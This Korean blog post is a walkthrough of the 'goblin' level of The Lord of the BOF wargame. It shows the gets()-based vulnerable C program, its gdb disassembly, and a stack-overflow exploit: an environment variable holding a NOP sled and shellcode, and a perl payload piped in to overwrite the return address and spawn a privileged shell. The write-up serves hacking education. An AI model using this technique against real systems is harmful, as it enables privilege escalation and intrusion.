티스토리 뷰


BOF 3단계 입니다.


이전 문제풀이와 마찬가지로 bash가 아닌 bash2 에서 실행하도록 하겠습니다.


홈 디렉토리로 가보면 goblin.cgoblin 실행파일이 있습니다.


우선 goblin.c 를 까보겠습니다.

Colored By Color Scripter

1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}


argc와 argv를 사용하고 않은 표준입력으로 buffer에 데이터를 받습니다.


gets 는 입력길이를 검사하지 않으므로 BOF 취약함수 이므로 gets 를 사용해 ret를 노려보겠습니다.


정확한 ret 위치를 구하기 위해 gdb로 까봅니다.


$ gdb goblin

(gdb) set disassembly-flavor intel

(gdb) disas main


1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x80483f8 <main>:    push   %ebp
0x80483f9 <main+1>:    mov    %ebp,%esp
0x80483fb <main+3>:    sub    %esp,16
0x80483fe <main+6>:    lea    %eax,[%ebp-16]
0x8048401 <main+9>:    push   %eax
0x8048402 <main+10>:    call   0x804830c <gets>
0x8048407 <main+15>:    add    %esp,4
0x804840a <main+18>:    lea    %eax,[%ebp-16]
0x804840d <main+21>:    push   %eax
0x804840e <main+22>:    push   0x8048470
0x8048413 <main+27>:    call   0x804833c <printf>
0x8048418 <main+32>:    add    %esp,8
0x804841b <main+35>:    leave  
0x804841c <main+36>:    ret

gets 에서 인자를 buffer 하나만을 받으므로 buffer의 위치는 ebp-16 인 것을 알 수 있습니다.

buffer에 20 byte를 입력하면 ret 에 접근할 수 있습니다.


우선 buffer의 크기가 충분하지 않기 때문에(16 byte) 환경변수를 사용하도록 하겠습니다.

export 명령어를 통해 환경변수를 등록합니다.

export YoWu=`perl -e 'print "\x90"x512, "쉘코드 61byte';`


그리고 등록한 환경변수의 주소 값을 확인하기 위해 간단한 C를 후딱 짭니다.

getenv.c
1
2
3
4
5
6
#include "stdio.h"
 
void main()
{
    printf("%x\n", getenv("YoWu"));
}


그리고 gcc 로 컴파일 한 후 실행시켜 보면



현재 YoWu 환경변수의 대략적인 위치가 0xbffffd06 임을 확인 할 수 있습니다.



perl 구문을 짜보도록 하겠습니다.


perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';

(쓰레기 값 20 byte + YoWu의 주소 값)


이번 문제에서는 표준입력으로 buffer를 입력받기 때문에 표준입력으로 

perl 구문을 사용하기 위해 파이프(|)를 사용하도록 하겠습니다.


(perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';cat) | ~/goblin

(표준입력으로 perl 구문을 사용할 때는 ;뒤에 cat이 들어갑니다

왜 그런지는 나중에 perl 공부한 후에 알려드릴게요.)




쉘을 딸 수 있었으며 권한이 goblin으로 상승한 것을 확인 할 수 있습니다.

goblin의 비밀번호는 

더보기





프로필사진

Yowu (Yu Yongwoo)

백엔드 개발 정점을 꿈꾸는 흔한 개발자입니다
우분투 데스크탑 개발 환경을 매우 선호합니다
최근에는 vscode에 vim 모드 올려서 쓰고 있습니다
개발용 키보드는 역시 해피해킹 프로2 무각입니다
락 밴드에서 드럼을 꽤나 오래 쳤었습니다